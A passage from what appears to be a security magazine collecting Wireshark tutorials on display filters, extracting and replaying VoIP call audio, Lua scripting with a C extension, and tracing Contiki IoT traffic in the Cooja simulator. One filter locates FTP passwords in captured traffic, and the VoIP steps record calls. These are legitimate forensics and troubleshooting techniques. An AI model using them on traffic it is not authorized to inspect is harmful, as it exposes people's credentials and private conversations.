The graphical front-end has some integrated sorting and filtering options available. One of them is the Filter box at the top that allows you to enter criteria for the search. To search for all the Canonical Name records within the capture file, type the following filter (see Figure 5):

```
dns.resp.type == CNAME
```

After you enter a filter, remember to clear it out before starting a new search. Now if we wanted to know how long a client resolver cached the IP address associated with the name `download.microsoft2.akadns.net` (Figure 6), enter the following in the filter:

```
Dns.resp.name == "download.microsoft2.akadns.net"
```

If we wanted to find the user name and password for an FTP account that someone was accessing and we knew that there was a connection somewhere in the packet dump, how would we find it? The information we have is the source and destination [62.211.66.16 & 192.168.100.22]. In the filter field, we would enter the following (see Figure 7):

```
ip.dst == 62.211.66.16 && ip.src == 192.168.100.22
                && ftp contains "PASS"
```

To locate and find the conversation someone had on an IRC chan between source IP 192.168.100.28 and IP destination 163.162.170.173 use the following filter (see Figure 8):

```
ip.dst == 192.168.100.28 && ip.src ==
                163.162.170.173 && irc.response
```

Now pick one of the packets, right click on it, and choose "Follow TCP Stream" – this will show you the conversation (see Figure 9).

Figure 8. *IRC Communication Between 192.168.100.28 & 163.162.170.173*

Figure 9. *IRC Conversation Between 192.168.100.28 & 163.162.170.173*

Conclusion

Wireshark is a powerful tool used to search through packet dumps to locate clues about nefarious activity.

DAVID J. DODD

David J. Dodd is currently in the United States and holds a current 'Top Secret' DoD Clearance and is available for consulting on various Information Assurance projects. A former U.S. Marine with the Avionics background in Electronic Countermeasures Systems, David has given talks at the San Diego Regional Security Conference and SDISSA. He is a member of InfraGard, and contributes to Secure our eCity http://securingourecity.org. He works for pbnetworks, Inc. http://pbnetworks.net a small service disabled veteran owned business located in San Diego, CA and can be contacted by emailing: dave@pbnetworks.net.

Let pbnetworks get your pentest on target
Visit us and learn how http://pbnetworks.net
How secure is your network?

Listening to a

Voice over IP (VoIP)

Conversation Using Wireshark

Wireshark is a very powerful tool but did you know you can extract an RTP stream traffic from your VoIP packets, listen to, and even save an audio file of the conversation? In this article, you'll find an overview and introduction to using Wireshark to analyze VoIP packets and also a step-by-step tutorial on how to extract and listen to a captured audio file.

In order to benefit most from the article, you should possess the basic understanging of networks, voice over IP, and the protocol analyzer (Wireshark).

Low Group Frequencies (Hertz)	High Group Frequencies (Hertz) 1209	1336	1477
697	1	ABC 2	DEF 3
770	GHI 4	JKL 5	MNO 6
852	PRS 7	TUV 8	WXY 9
941	*	OPER 0	#

Figure 1. *DTMF Frequencies*

Understanding VoIP Traffic Flows

VoIP traffic can be divided in two main parts: signaling and transport.

For example, SIP, H.323, and other Signaling Protocols are used to establish presence, locate the user, set up, modify, and tear down sessions. *Session Initiation Protocol* (SIP) can run over UDP or TCP on port 5060 but it's more common to see it implemented over UDP.

Media Transport Protocols are used for transmitting audio/video packets, for example RTP, RTPC. Wireshark can play your *Realtime Transport Protocol* (RTP) stream conversation but cannot decrypt and play back secure VoIP traffic. Another protocol that is also commonly used is the *Realtime Transport Control Protocol* (RTCP). It can provide out-of-band statistics and control information for RTP flows. RTP can run on any even port number and RTCP runs over the next higher odd port number

Figure 2. *Place Your Sniffer as Close as Possible to IP Phone*

that RTP is using. So if RTP is running on 10018 port, RTCP will run on 10019.

Dual-Tone Multi-Frequency (DTFM) are tones sent while you push a button on a phone during dialing a number. Sometimes those signals are sent through the voice channel in which case it's referred to as in-band signaling. During your analysis with Wireshark, sometimes you will come across DTMF signals. More often, you'll see separate control packets for DTMF which is called out-of-band signaling. Wireshark will be able to interpret out-of-band traffic also (Figure 1).

Figure 3. *Open Capture File*

When you are going to analyze VoIP traffic, place your sniffer to the VoIP phone as close as possible, so you will be able to get the round trip times and packet loss sensed by your phone. Figure 2 describes this situation. If you are using a phone application at your PC (Skype, Avaya Softphone, etc.), you can start capturing your traffic if Wireshark is installed on the computer (Figure 2).

Sometimes Wireshark may not be able to see the signaling protocol. In such case, it will mark the conversation as UDP traffic in the protocol column of the Packet List pane. To fix that, you can select "Try to decode RTP outside of conversations" in the RTP preference settings. If you are sure the traffic is RTP, you can also right click on a packet and select "Decode As...." Select the UDP port option for "both" and choose RTP in the protocol list.

Examining SIP Traffic

After you have captured your VoIP traffic open it in Wireshark. Start Wireshark and click File → Open to open the "Open Capture File" dialog box. Select the file you have captured and click "Open" as shown Figure 3.

We are using an example of SIP and RTP traffic below. On your capture, examine the frame that contains the SIP/SDF request. As in the example

Figure 4. *Session Initiation Protocol Section*

below, this is on Frame 1. Once Wireshark loads the capture file, select proper frame by clicking on the frame in the Packet List view. Next, Expand the Session Initiation Protocol section in the Packet Dissector View. This will reveal the three sections of the SIP packet, the Request Line, the Message Header, and the Message Body (Figure 4).

Request Line: Note that the request line in this frame is "INVITE sip:francisco@bestel.com:55060." This indicates that the caller is attempting to use the URI "francisco@bestel.com" to initiate the call. Note that the IP address 200.57.7.204 is not the IP address of the call recipient, but rather the IP address of the registration server. SIP is a signaling protocol exchanged between two registration servers.

Message Header: Expanding the message header line reveals additional details about the caller, including the "From" universal resource indicator (URI), the user-agent, an administrative contact URI (matching the URI in this case), date, allowed methods, and additional information.

Message Body: Expanding the message body header and the session initialization protocol header will reveal additional configuration of the call, including supported CODEC's and other media attributes to be negotiated in the call.

Figure 5. *Message Header*

Figure 6. *VoIP Calls Option Under Telephony Menu*

There are many other details that can be obtained while analyzing the packet, although, we will not cover them in this article. Let's move on to the interesting part.

Listening to a VoIP Conversation

In order to listen to a VoIP conversation using Wireshark, follow the steps below.

- Using the same capture file you have opened, select Telephony → VoIP Calls on the menu (Figure 6).
- Click Select All → Player → Decode (Figure 7)

Figure 7. *Decoding and Playing RTP Traffic*

Figure 8. *RTP Stream to Analyze*

Figure 9. *RTP Streams – Forward Direction*

- Select the check box of the audio you want to listen to (you can select both as in this case) and click "Play." You will be able to listen to the conversation.
- Going further, you can save the RTP traffic to an audio file. Click Telephony → RTP → Show All (Figure 8).
- Select the stream you want to save and click Analyze (Figure 9).
- Click Save Payload and select the .au format. Choose the directory, select Forward for the channels selection, and enter the filename (don't forget to include the ".au" filename extension). Click OK and you are done. You can listen to your audio file using an audio player of your preference.

You should remember to never try it on a system you are not authorized to do it on and make sure about privacy requirements as they may vary for different locations.

Summary

Wireshark is a very powerful tool for troubleshooting complex network issues and is indispensable for IT security professionals. The amount of information it can provide is amazing. On other hand, you can imagine what it can do in the hands of a person with bad intentions. Troubleshooting VoIP issues is difficult but Wireshark can make it much easier for you to analyze and understand the real cause of the problem. Use it wisely!

LUCIANO FERRARI

Luciano Ferrari has more than 15 years of experience in IT. He is a Brazilian living in the US and has bachelor's degree in Microelectronics, post-graduate education in Computer Networks and an Executive Master of Business Administration (MBA). He specializes in Green IT, Computer Networks, IT Security, Risk Management, Cryptography, Project Management, and IT Management. Contact: lferrari@lufsec.com

Blog: www.lufsec.com

twitter: @lucianoferrari

Wireshark/LUA

This article explores an extension mechanisms offered by Wireshark. After a brief description of Wireshark itself, it shows how Wireshark can be extended using Lua as an embedded language. It shows the benefits to be gained from using the combination of Wireshark and Lua. Next, the article explores a way to extend Lua with C code. It shows how Lua can be leveraged by using functions implemented in plain C.

Caveat: The focus of this article is the Wireshark/Lua interplay and the Lua/C interplay. Descriptions of Wireshark as a network analyzer,or Lua and C as as programming languages are out of scope for this article.

Wireshark

Wireshark is the de facto industry standard for network protocol analysis. To say it with the words of wireshark itself: "Wireshark is a network packet analyzer. A network packet analyzer will try to capture network packets and tries to display that packet data as detailed as possible. (*http://www.wireshark.org/docs/wsug_html_chunked/ChapterIntroduction.html#ChIntroWhatIs* retrieved on Oct, 11th 2012)" The open source product successfully overtook commercial competitors. The wireshark's playground is network communication in all its glory. Protocol analysis typically consists of two separate steps: harvest and analysis. Prior to analysis we need to harvest things to analyse. Wireshark outsources this task to external libraries (WinPcap for Windows, libpcap for other OS). These libraries implement the pcap API. Wireshark grabs network communication using these libraries and writes it to disk. Once network communication has been harvested we end up with files containing raw binary data (also known as traces or dumps). This data contains all the secrets we might ever want to know. Unfortunately, the format is somewhat *unwieldily*, hard to understand and as efficient for network communication as unsuitable for human consumption. This is where Wireshark displays his real strength: It splits any given dump into single packets (also known as frames), dissects the different protocol layers of any given frame, and displays the protocol tree and all the fields contained within the different protocols in a human readable user friendly format.

Benefits

Wireshark successfully bridges the gap between a machine friendly efficient binary representation of network communication and mere mortals. To illustrate this point in brutal clarity, we compare the raw view on the data with the wireshark view. As an example we take a http GET requests to http://*http://hakin9.org/*: Figure 1.

The expert might notice the beginning of the IP header (hex: 45 00) in postion 14. Reading hex,

```
0000  00 03 c9 b0 9c 28 64 31  50 90 79 ac 08 00 45 00   .....(d1 P.y...E.
0010  02 62 02 ea 40 00 80 06  75 ec c0 a8 02 82 4f 7d   .b..@... u.....O}
0020  6d 18 1d 5c 00 50 6c aa  3c d6 df 13 e4 ee 50 18   m..\.Pl. <.....P.
0030  80 00 75 2a 00 00 47 45  54 20 2f 20 48 54 54 50   ..u*..GE T / HTTP
0040  2f 31 2e 31 0d 0a 48 6f  73 74 3a 20 68 61 6b 69   /1.1..Ho st: haki
0050  6e 39 2e 6f 72 67 0d 0a  43 6f 6e 6e 65 63 74 69   n9.org.. Connecti
0060  6f 6e 3a 20 6b 65 65 70  2d 61 6c 69 76 65 0d 0a   on: keep -alive..
0070  41 63 63 65 70 74 3a 20  2a 2f 2a 0d 0a 55 73 65   Accept:  */*..Use
0080  72 2d 41 67 65 6e 74 3a  20 4d 6f 7a 69 6c 6c 61   r-Agent:  Mozilla
0090  2f 35 2e 30 20 28 57 69  6e 64 6f 77 73 20 4e 54   /5.0 (Wi ndows NT
00a0  20 35 2e 31 29 20 41 70  70 6c 65 57 65 62 4b 69    5.1) Ap pleWebKi
00b0  74 2f 35 33 37 2e 34 20  28 4b 48 54 4d 4c 2c 20   t/537.4  (KHTML,
00c0  6c 69 6b 65 20 47 65 63  6b 6f 29 20 43 68 72 6f   like Gec ko) chro
00d0  6d 65 2f 32 32 2e 30 2e  31 32 32 39 2e 39 34 20   me/22.0. 1229.94
00e0  53 61 66 61 72 69 2f 35  33 37 2e 34 0d 0a 41 63   Safari/5 37.4..Ac
00f0  63 65 70 74 2d 45 6e 63  6f 64 69 6e 67 3a 20 67   cept-Enc oding: g
0100  7a 69 70 2c 64 65 66 6c  61 74 65 2c 73 64 63 68   zip,defl ate,sdch
0110  0d 0a 41 63 63 65 70 74  2d 4c 61 6e 67 75 61 67   ..Accept -Languag
0120  65 3a 20 64 65 2d 44 45  2c 64 65 3b 71 3d 30 2e   e: de-DE ,de;q=0.
0130  38 2c 65 6e 2d 55 53 3b  71 3d 30 2e 36 2c 65 6e   8,en-US; q=0.6,en
0140  3b 71 3d 30 2e 34 0d 0a  41 63 63 65 70 74 2d 43   ;q=0.4.. Accept-C
0150  68 61 72 73 65 74 3a 20  49 53 4f 2d 38 38 35 39   harset:  ISO-8859
0160  2d 31 2c 75 74 66 2d 38  3b 71 3d 30 2e 37 2c 2a   -1,utf-8 ;q=0.7,*
0170  3b 71 3d 30 2e 33 0d 0a  43 6f 6f 6b 69 65 3a 20   ;q=0.3.. Cookie:
0180  50 41 50 56 69 73 69 74  6f 72 49 64 3d 37 64 65   PAPvisit orId=7de
0190  62 30 36 64 66 37 61 30  61 66 39 39 63 63 30 65   b06df7a0 af99cc0e
01a0  33 33 38 66 36 34 37 32  33 31 30 6f 44 3b 20 5f   338f6472 3100o; _
01b0  5f 75 74 6d 61 3d 39 38  33 36 32 32 34 36 2e 31   _utma=98 362246.1
01c0  30 33 35 31 31 36 36 32  35 2e 31 33 34 39 39 34   03511662 5.134994
01d0  35 37 38 34 2e 31 33 34  39 39 34 35 37 38 34 2e   5784.134 9945784.
01e0  31 33 34 39 39 34 35 37  38 34 2e 31 3b 20 5f 5f   13499457 84.1; __
01f0  75 74 6d 62 3d 39 38 33  36 32 32 34 36 2e 32 2e   utmb=983 62246.2.
0200  31 30 2e 31 33 34 39 39  34 35 37 38 34 3b 20 5f   10.13499 45784; _
0210  5f 75 74 6d 63 3d 39 38  33 36 32 32 34 36 3b 20   _utmc=98 362246;
0220  5f 5f 75 74 6d 7a 3d 39  38 33 36 32 32 34 36 2e   __utmz=9 8362246.
0230  31 33 34 39 39 34 35 37  38 34 2e 31 2e 31 2e 75   13499457 84.1.1.u
0240  74 6d 63 73 72 3d 28 64  69 72 65 63 74 29 7c 75   tmcsr=(d irect)|u
0250  74 6d 63 63 6e 3d 28 64  69 72 65 63 74 29 7c 75   tmccn=(d irect)|u
0260  74 6d 63 6d 64 3d 28 6e  6f 6e 65 29 0d 0a 0d 0a   tmcmd=(n one)....
```

Figure 1. *Raw View*

however, soon becomes inefficient and boring. Thus, a more human-friendly representation of the information contained in the raw data is what we really need. This is exactly where Wireshark helps (Figure 2).

The raw binary data is analyzed and the onion like structure of the protocol tree is unwrapped and displayed in an expandable tree like fashion. This way wireshark enables the human reader to have a clear view on the protocols and fields of each and every packet contained in a given trace. Apart from this core functionality, Wireshark overwhelms the user with a plethora of advanced analysis features. These features are out of scope for this article. Now that we can easily see the complete communication contained in a given trace we can easily answer each and every question that might come into our mind – at least if we know the intricacies of all protocols involved in the trace.

Limitations

Wireshark is the tool of choice for manual expert analysis of trace files. This core capability also directly leads us to two major areas of concern: the analysis is manual and has to be done by experts.

Wirehark is not ideally suited for automation, but is mainly conceived for interactive use. As an example, guiding us through the rest of this article, we look at a simple question that is as typical as

Figure 2. *Dissected View*

Figure 3. *Help-> About Wireshark*

harmless. Let's assume we have a trace containing plenty of TCP/IP traffic and we are interested in the duration of connection establishment ("RTT from 3WHS, Roundtrip time from three way handshake in tcptrace (see *http://www.tcptrace.org/*, retrieved Oct 11th 2012) lingo").

The answer of course is simple. We briefly look into the relevant RFCs and soon find out that all we have to do is to calculate the timespan between the first syn request and the ack request from the counterparty. We can accomplish this interactively by using the "Follow TCP Stream" feature of Wireshark and doing our little math. We set the time display format to "Seconds since Beginning of Capture" and subtract the time value of the syn requests from the value of the ack request. This is fine for a single TCP session or a smallish number of sessions. It soon becomes tedious once the number of sessions rises.

Of course, there is an obvious improvement to this approach. We soon befriend Wireshark's batch cousin tshark, do some fancy filtering, pipe the result into a shell script and do our math in the shell script. As this becomes hard to maintain, we substitute the shell script with a script language of our choice. Now we already need Wireshark, a suitable interpreter and our script to do our analysis. Alternatively, we could resort to tools like tcptrace and parse and process the results.

From an engineering point of view, these solutions are workable and pragmatic but less than elegant. The engineer would prefer an integrated solution to this exemplary problem.

Lua

This is where Lua (Portuguese for "Moon") enters the fray. Lua is a small and fast script language that is embedded into wireshark. We can use it to automate Wireshark. In order to use Lua from within Wireshark, we first check if our particular Wireshark instance has been compiled with Lua support (Figure 3).

In the About Dialog we verify that our particular Wireshark has been compiled with Lua support. We are now ready to go.

The language

Let us introduce Lua in its own words: "Lua is an extension programming language designed to support general procedural programming with data description facilities. (…) Lua is intended to be used as a powerful, light-weight scripting language for any program that needs one." (*http://www.lua.org/manual/5.1/manual.html*, retrieved Oct 11th, 2012). The Lua interpreter is contained within wireshark.

This means we do not need any external interpreter or other external tools. Any solution build upon Wireshark and Lua runs stand-alone without external dependencies. This considerably improves the robustness of any such solution and considerably eases deployment.

Overcome Wireshark limitations

We now have the means to overcome Wireshark's limitations. We can codify expert know-how using the Lua language. Within the embedded Lua language we have full access (well, nearly full) to Wireshark capabilities. We can now accomplish typical batch processing tasks without resorting to shell scripts or external script languages. Using Lua we have the benefit of a clean API to access Wireshark capabilities instead of piping the results of a Wireshark processing step into an external process. The beauty of this approach consists of the chance of combining the strength of frame/packet oriented dissectors with the capabilities of a full programming language without incurring the extra cost of additional dependencies.

Real world example

The example from above (RTT from 3 WHS) may serve as our real world example. It shows the mechanics of Lua programs running embedded within Wireshark.

```
1   local tap_tcp  = Listener.new("tcp")
2
3   local synflag = Field.new("tcp.flags.syn")
4   local ackflag = Field.new("tcp.flags.ack")
5   local seq = Field.new("tcp.seq")
6   local ack = Field.new("tcp.ack")
7
8   local map = {}
9
10  -- calculating rtt as delta between syn and ack
11 - function tap_tcp.packet(pinfo,tvb,ip)
12 -    local src = string.format("%s:%s\t%s:%s",
13          tostring(pinfo.src), tostring(pinfo.src_port),
14          tostring(pinfo.dst), tostring(pinfo.dst_port))
15 -    local reverse = string.format("%s:%s\t%s:%s",
16          tostring(pinfo.dst), tostring(pinfo.dst_port),
17          tostring(pinfo.src), tostring(pinfo.src_port))
18      local ts=string.format("%s%s",os.date("%x %X", pinfo.abs_ts), string.sub(pinfo.abs_ts, 11))
19
20      -- is there a syn?
21 -    if (synflag() and tostring(synflag())== "1" and ackflag() and tostring(ackflag())=="0"
22          and seq() and tostring(seq())== "0")then
23          map[src] = {pinfo.number, pinfo.abs_ts}
24      end
25
26      -- find ack,calculate delta and print out
27 -    if (synflag() and tostring(synflag())== "0" and ackflag() and tostring(ackflag())=="1"
28          and tostring(ack())== "1" and seq() and tostring(seq())=="1"
29          and map[src]) then
30          print(pinfo.number, src, map[src][1], pinfo.abs_ts - map[src][2], ts)
31          map[src]= nil
32      end
33  end
34
```

Figure 4. *Content of rtt.lua*

```
1  -/*
2    * we need to include the standard lua headers
3    */
4    #include <lua.h>
5    #include <lauxlib.h>
6    #include <lualib.h>
7
8    #include <stdlib.h>
9    #include <time.h>
10 -/*
11   * our implementation
12   */
13 -static int irandom(lua_State *L){          /* Name of our implementation */
14     /* initialize random generator */
15     srand ( time(NULL) );
16     lua_pushnumber(L, rand());
17     return 1;                               /* we return one value */
18   }
19
20 -/*
21   * Register our module. Works with naming convention: "luaopen_nameofyourmodule"
22   */
23 -int luaopen_random(lua_State *L){
24       lua_register(
25               L,                  /* the Lua state */
26               "random",           /* arbitrary name to use within lua */
27               irandom             /* the name of our implementation */
28               );
29       return 0;
30   }
31
```

Figure 5. *callfromlua.c. Function to be Called From Lua*

First, we identify a script named "init.lua" and follow the advice given in the header section: "Lua is disabled by default, comment out the following line to enable Lua support." We bravely comment out the line reading `disable_lua = true; do return end;` and proceed (Figure 4).

In line 1 we register a listener for tcp. The callback function tap_tcp.packet is invoked for each tcp packet. We can easily access various fields of the packet using the pinfo structure. In line 3-6 we directly access Wireshark fields. Wireshark exposes all fields of all protocols using this API. The idiom behind the listener/callback construction is similar to the mechanics of pattern matching tools like awk. Awk scans text files, checks if a specified pattern occurs within a scanned text file and executes actions registered with certain patterns. The basic mechanism of Lua scripts within Wireshark consists of registered and callback functions that are called whenever a particular listener "fires" while scanning a trace file.

We invoke the script with the command line "tshark -q -X lua_script:rtt.lua –r yourtracefile.pcap". The script writes out the frame number of the ack request, source and destination ip, frame number of the syn request, duration of connection establishment and the absolute time of the ack request.

Benefit of team Wireshark/Lua

Using Lua as an extension language embedded in Wireshark gives a number of benefits. To name but a few:

- Tight integration into Wireshark allows access of tons of Wireshark functionality without any further hassle.
- Lua as a full blown language allows any procedural processing we feel obliged to do. This way it is possible to use Wireshark asynchronously in a batch environment.
- Being able to script analyses formerly done in an interactive way allows us to perform the analyses in a more efficient way.
- Putting expert know how in scripts allows non experts to perform analyses.
- The approach works in restricted environments where other languages might not be available

The possibilities shown so far only scratch the surface of Lua/Wireshark integration. Lua can be used to write full blown custom dissectors. The user interface is not limited to the command line.

Lua can also be used to access GUI capabilities. Output from functionality implemented with Lua can be rendered by GUI components.

Outlook: extend Wireshark/Lua with C

There are situations where we might feel the urge to access functionality buried in C from within Lua. Either there is existing functionality to be reused or there are challenges more easily solved in C than in Lua.

Warning

Setting up a suitable c compilation environment can pose challenges. A detailed description is out of scope for this article (see *http://www.troubleshooters.com/codecorn/lua/lua_c_calls_lua.htm* retrieved Oct 11th, 2012 for details). Your mileage may vary. The compilation described below has been tested in a MingW Environment.

After these words of warning we proceed with our endeavor of exposing C functionality to the winning combination of Lua/Wireshark. In order for the compile to succeed it is necessary to put lua header files and lua libraries in directories where the compiler can find them. In case these files live in other directories the compiler has to be informed by suitable compiler switches (-I and –L in case of gcc) of the directories these files live in. It is all important that header and libraries match with the Lua version used by wireshark. For Lua 5.1 in Wireshark use Lua 5.1 header and libraries. The header files (lua.h, luaconf.h, lauxlib.h, lualib.h) may live in MingW/include. The libraries (liblua.a, liblua.dll.a) may live in MingW/lib (Figure 5).

The custom function to be used from Lua is straight forward. It simply returns a random number. The function has to be registered in the call to luaopen_*. This function actually registers each function that is exposed to lua. From within Lua we can access the functionality using the name "random". We compile the code to a dll using a command like `gcc -Wall -shared -o random.dll` callfromlua.c". This call may vary for your system depending on compiler and environment. The compilation should proceed without any warnings or errors. The resulting dll has to be placed in the wireshark root directory. We are now ready to play with our C extension (Figure 6).

First, we require the module implemented in C (line 1). Wireshark looks at several locations for a shared library named like the module – random.dll in case of windows. It then loads the library and executed the luaopen_mondulename function named like the module and reports an error in case this function is not found. The functions registered by this function – in this case a single function "random" are now available for ordinary Lua code. We simply invoke the custum function implemented in C (line 2). From the Lua point of view using functions implemented in C is similar to other function calls. A command line like "tshark -X lua_script:c.lua" now prints out our random number generated by C code.

This bare bones example merely illustrates the general mechanics of using C code with Lua/Wireshark. For the sake of simplicity it has been reduced to the essentials.

```
1  require("random")
2  print(random())
3
```

Figure 6. *c.lua. Calling our C Function*

Where to go from here

We started our exploration with Wireshark as a standard tool for manual expert analysis of network packets. We then explored ways to extend the core Wireshark functionality using the embedded Lua language. Finally, we saw how Lua itself can be extended using C. Using these building blocks we can now go on and leverage Wireshark and automatically perform arbitrary trace analyses using the dissector functionality provided by Wireshark. We can accomplish this without additional external dependencies purely by using functionality offered by Wireshark itself. We can fully automate Wireshark and can use all the functionality in a batch like fashion.

JÖRG KALSBACH

Tracing ContikiOs Based IoT

Communications over Cooja Simulations with Wireshark

Using Wireshark with Cooja Simulator

Internet of Things is getting real. Billions of devices interconnected between each other retrieving data and sharing information using wireless communication protocols everywhere. We present an introduction about how to start developing radio communication applications for Contiki OS, one of the most widespread IoT operating systems and how to use Cooja simulator together with Wireshark.

The number of devices with wireless connection capability has increased over the last years. Nowadays, most of the people deal with the so-called smart devices, for example, smartphones. However, not only smartphones are able to be connected to Internet, but also a big number of hand held devices such as tablet PC.

Another important trend is related to *Wireless Sensor Network* (WSN), spatially-distributed autonomous devices equipped with several kinds of sensors and interconnected to each other using wireless communication systems. These devices are small-size computers with reduced computation capabilities, which are responsible to retrieve information about its environment and send it to data sinks computers. It is common to refer to WSN as smart durst because of the size of its devices, which are called sensor motes. All those devices are part of the *Internet of Things* (IoT), a scenario where everything is interconnected and identified via Internet, using technologies like IPv6, RFID tags or other systems like barcodes. With the appearance of this concept, we will also be able to communicate with daily use devices, such as the lighting or the heating system available in our house.

Several research works have been performed in order to study the possibilities of this new generation of devices. In fact, related fields such as security, constrained devices properties or communication skills are some of the hottest topics within the researching community.

Regarding to this communication skills, Wireshark has been used as a world-wide network sniffer tool recognising the information exchanged between the elements involved in a network communication. Its use provides us with a clearer way to understand the information exchanged. On the other hand, the motes are small devices that do not include graphical interface in order to facilitate the interaction user-mote. Thus, becoming developers of embedded applications, in other words, applications specifically designed for IoT devices, we need a way to check their correct functioning. A simulator is used to mimic the working mode of a embedded application within a constrained device. However, when the application simulated involves network communication between different nodes, the use of Wireshark in conjunction with the simulator allows a more understable way to check the correcting communications conducted.

Given that, in this article we present deeply the Internet of Things concept. The deployment of a constrained *Contiki OS* based application within a *Cooja* simulated IoT device is one of the main points in this work. Thus, a brief overview of *Contiki OS* and *Cooja* is pointed out. Finally, a communication embedded application is set using the simulator and allowing us to get the messages

exchanged in different formats. Thi messages exchanged data is handled by some methods explained in this article, getting in this way different *Wireshark* visualizations. Finally, the article finishes with a set of conclusions regarding to the whole work carried out.

CONTIKI OS

IoT devices are resource constrained devices. In fact, within their features it is worthy highlighting the constraints in the communication skills available as well as computation performance. In addition, the memory available either ROM or RAM, is considerably smaller than the memory sizes we are used to deal with in general purpose computers.

Given those features, there are several dedicated operating systems that help the programmers to face up the challenges found on constrained devices. In the deployment outlined in this article, we will work with *Contiki OS*, an open source operating system for the Internet of Things. *Contiki OS* allows tiny, battery-operated low-power systems to communicate with Internet.

Within *Contiki OS*, several platforms are available. Although some of those platforms are embedded platforms such as Micaz, Redbee-Econotag or Sky, there are also available platforms that can be simulated in a PC: minimal-net and Cooja. Thus, if we develop an embedded application and there is no possibility to use a physical device to test the software, a PC-based simulation can be performed. In fact, this is the case outlined in this work, where the simulations of already deployed embedded applications will be performed within *Cooja*, a PC-based simulator for the Internet of Things.

Regarding to each platform itself, *Contiki OS* provides us with a framework to work with the different hardware elements available in them. Thus, using this framework we can handle the resources available such as leds and wireless radio. In fact, within this work we will focus in this wireless radio connection, with which we will perform different examples in several uses cases. Besides, the information exchanged between the different simulated nodes can be traced by using the well-known sniffing traffic network tool *Wireshark*. However, before that it is worthy knowing a bit more about how the communication is performed between these constrained devices.

Communication protocol stacks

The communication of embedded devices is performed in a different way to how traditional communication is performed. As its own name indicates, the Internet of Things devices are communicating each other based on IP. However the underlayer configuration is different in order to fulfil the requirements given by the scarce resources available.

Thus, the physical layer as well as the link layer are deployed following the 802.15.4 definition instead of Ethernet, Wi-Fi or WiMax. This new layer configuration will result in a different format in the message exchanged during the communication between the devices. On the other hand, the rest of the stack remain the same.

Within the *Contiki OS*, this new communication protocol stack has been developed by the called microIP stack (Figure 1).

In this stack, apart from the above explained modification based on 802.15.4, the 6LoWPAN adaptation layer has been added. This new layer is used for adapting the whole IP layer to a suitable lightweigh-version within the constrained environments. Thus, the main feature of this a IP adaptation layer is to compress the IP headers in order to make the whole packages as small as possible to be sent over 802.15.4 based communications.

This feature is essential in order to understand the whole format of a packet exchanged in this new type of constrained networks. This packet format will lead most part of the work described in this article. Thus, it becomes important to make clear this format itself.

Cooja

Cooja is a simulator of sensor networks for *Contiki OS*. This java based application allow us to simulate embedded applications over different platforms such as Cooja, Sky or Micaz. The main parts of this simulator are the interfaces and the plugins.

On one hand, *Cooja* interfaces involves several graphical representations,where information and interaction with the user is offered. Thus, most of the simulated elements available in a constrained devices can be handled through these interfaces: leds,

Figure 1. *Representation of the microIP Stack*

radio communication module or serial port communication are some examples of interfaces available. On the other hand, *Cooja* plugins are the best way for a user to interact with a simulation. These plugins, implemented as regular Java Panel, allow the user to control the whole simulation itself. One of this *Cooja* plugins is the called Radio messages. This plugin will allow us to extract the information exchanged in a simulated embedded communication and work with it in order to get a representation with *Wireshark*, as we will see later on this document.

First steps in Cooja

How to start

Before installing it, Java 1.6 or later is required on the system. *Cooja* is included in *Contiki* source tree since version 2.0. We can find this simulator in `[Contiki Folder]/tools/cooja`. Once we are within this folder, we have to compile and execute it throught an Ant script:

```
$ ant run
```

Once it is open, we want to execute a hello world example. Go to File menu/New simulation/Create. As a result, a new simulation without any mote and using default parameters will appear. We want to run a simulation in a specific type of mote, then we need to create that mote and load the program on it. We use *Cooja* type mote here because all the programs should run on it: Motes menu/Add motes.../Create new mote type/Cooja mote...

Then we have to choose the program we want to execute: click on Browse and go to `[Contiki folder]/examples/hello world/hello-world.c`, then press Compile. This process will compile the whole Contiki OS and the application, creating just a file hello-world.cooja that contains both the OS and the application. Last step requires us to introduce the number of motes for the simulation, then click on Add motes. In this case just one mote is enough. Once the simulation is ready, just click on Start and we will see the output in the Mote output window (Figure 2).

Figure 2. *Hello World Example Simulated in Cooja*

The environment

When creating a new simulation, several properties can be modified. It is possible to modify the radio medium, the motes startup time and also the random seed for the random number generator. By default, there are some kinds of motes available, included Sky mote, Micaz and also a general one called Cooja mote, but it is also possible to extend Cooja simulator in order to introduce different platforms. Simulations can be exported, saved and loaded. Simulations can be automatized using shell scripts that also retrieve the data after perform the simulation. *Cooja* includes a toolbox that aid to perform the simulations and gather data from them:

- simulation control tool allows to set simulation speed,
- mote output shows all the data from the serial port,
- event listener helps establishing break points in the simulation,
- radio messages captures radio communication between motes and allows to export those captures,
- mote radio duty cycle allow performing measurements about the radio utilization on a device,
- the simulation visualizer window shows the simulation behaviour and allows to show different information about the motes being used such as LEDs or radio information,
- finally there is a timeline component which shows the different events in the simulation among the existing motes.

In summary, *Cooja* is a very useful tool in the design phase of *Contiki OS* applications. It can deal with different kind of platforms and it is extensible. Thus, it is a very useful tool to deploy embedded applications and check them within simulated constrained devices.

How to set a Communication Simulation

Client – server

The first communication based basic program available as an example in *Contiki* involves a client and a server exchanging information over UDP. This example shows us how a UDP based communication

is performed by using microIP stack. Thus, it becomes in a good example to see how *Wireshark* traces are obtained within this environment and how they can be managed.

How to write the code

Taking a look of the code of both client and server, a similar structure is defined. The most important functions are:

- `tcpip_handler()`. This is used for handling the messages received through wireless radio communication. At this point, two main variables are taken into account: `uip_appdata`, a pointer to the buffer with the received information and `uip_datalen()`, a function returning the length of the message received.
- timer related functions. A timer is used in the client to send a message to the server every time the timer is expired. Thus, it is essential to handle also several timer related functions such as `etimer_set()`, `etimer_expired()` and `etimer_restart()`.
- `timeout_handler()`. Once a timer is defined, a corresponding handler has to be defined as well. In the example that we are using, the related handler is the `timeout_handler()` function. In this function, a message is created and sent to the other communication end.
- `set_connection_address()`. This essential function is used for setting up the IP address of the other end in the communication. Thus, in the client's code, the server's IP address has to be correctly set and viceversa.
- `uip_udp_packet_send()`. A function called to send a message over the wireless connection established. If every parameter is previously correctly configurated, the message included in this function call will be sent to the other end within the communication.

With these essential and simple functions, a main client and server programs can be developed. The complete C code of those programas can be found in *[Contiki Folder]/examples/udp-ipv6*.

How to Simulate

Previously in this article, a simulation of the *helloWorld* embedded application has been outlined. In order to create a simulation containing the UDP client and the UDP server, the same basic steps have to be followed for each application.

Thus, a new simulation has to be created. Within this simulation, two new *Contiki* type motes should be added. In one of them, the *udp-client.c* application is loaded whereas in the other mote the *udp-server.c* must be loaded. If every step has been successfully performed, a simulation containing both elements, client and server, should be correctly showed (Figure 3).

